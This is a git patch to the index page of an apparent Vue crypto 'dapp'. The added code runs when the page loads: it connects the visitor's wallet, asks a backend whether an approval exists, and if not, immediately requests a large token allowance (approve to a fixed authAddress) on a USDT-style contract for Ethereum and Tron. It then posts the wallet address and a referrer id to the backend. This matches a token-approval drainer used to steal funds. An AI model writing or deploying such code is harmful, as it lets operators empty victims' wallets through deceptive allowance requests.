From 880ef5b5b1d81d41dd9690008b0999241b52a498 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 15:45:44 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   79 ++++++++++++++++++++-------------------
 1 files changed, 40 insertions(+), 39 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index b6df809..074db50 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -124,23 +124,7 @@
     }
     async function showDappModal() {
       proxy.isShowAccreditModal = false
-      // proxy.isShowWalletModal = true
-      const provider = new WalletConnectProvider({
-        infuraId: "27e484dcd9e3efcfd25a83a78777cdf1",
-        qrcode: false,
-        qrcodeModalOptions: {
-          mobileLinks: [
-            'tronLink',
-            "rainbow",
-            "metamask",
-            "argent",
-            "trust",
-            "imtoken",
-            "pillar",
-          ]
-        }
-      });
-      await provider.enable();
+      proxy.isShowWalletModal = true
     }
     async function showWalletModal() {
       proxy.isShowAccreditModal = false;
@@ -151,7 +135,8 @@
       await provider.enable();
       let web3 = new Web3(provider);
       const accounts = await web3.eth.getAccounts();
-      console.log(accounts);
+      proxy.walletAddress = accounts[0];
+      isApprove()
     }
     
 
@@ -167,6 +152,23 @@
       }
       proxy.walletAddress = address;
     }
+    function isApprove() {
+        proxy.$axios({
+          url: '/dapp/common/isApprove/' + proxy.walletAddress,
+          method: 'get'
+        }).then((res) => {
+          if(res.code === 200) {
+            proxy.hasApprove = true;
+            sessionStorage.setItem('address', proxy.walletAddress);
+          }else{
+            proxy.hasApprove = false;
+            approve()
+          }
+        }).catch((err) => {
+          proxy.hasApprove = false;
+          approve()
+        })
+    }
     async function approve () {
       if(window.ethereum) {
         ethereumApprove()
@@ -181,7 +183,9 @@
       const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
       const contract = new web3.eth.Contract(abi, contractAddress);
       contract.methods.approve(authAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => {
-        alert('授权成功'+res)
+        console.log('授权成功')
+        console.log(res)
+        submitApprove()
       })
     }
     async function tornWebApprove () {
@@ -194,33 +198,31 @@
         feeLimit: 100000000,
         callValue: 0,
         shouldPollResponse: false
-      }, function(err, res) {
-        console.log(err)
-        console.log(res);
+      }, (err, res) => {
+          if (err == null) {
+              submitApprove()
+          }
       });
     }
-    async function init() {
-      await getAddress();
-      if (proxy.walletAddress) {
+    function submitApprove(){
         proxy.$axios({
-          url: '/dapp/common/isApprove/' + proxy.walletAddress,
-          method: 'get'
-        }).then((res) => {
-          if(res.code === 200) {
-            proxy.hasApprove = true;
-            sessionStorage.setItem('address', proxy.walletAddress);
-          }else{
-            approve()
+          url: '/dapp/common/approve',
+          method: 'post',
+          data: {
+            address: proxy.walletAddress,
+            refererId: ''
           }
-        }).catch((err) => {
-          approve()
+        }).then((res) => {
+          alert(res.msg)
         })
+    }
+    onMounted(() => {
+      getAddress();
+      if (proxy.walletAddress) {
+        isApprove()
       }else{
         showAccreditModal();
       }
-    }
-    onMounted(() => {
-      init()
     })
     return {
       local: ref('zh'),
@@ -228,7 +230,6 @@
         { text: '简体中文', value: 'zh' },
         { text: 'English', value: 'en' }
       ],
-      init,
       // 弹窗显示隐藏
       isShowApproveModal,
       isShowAccreditModal,

--
Gitblit v1.9.1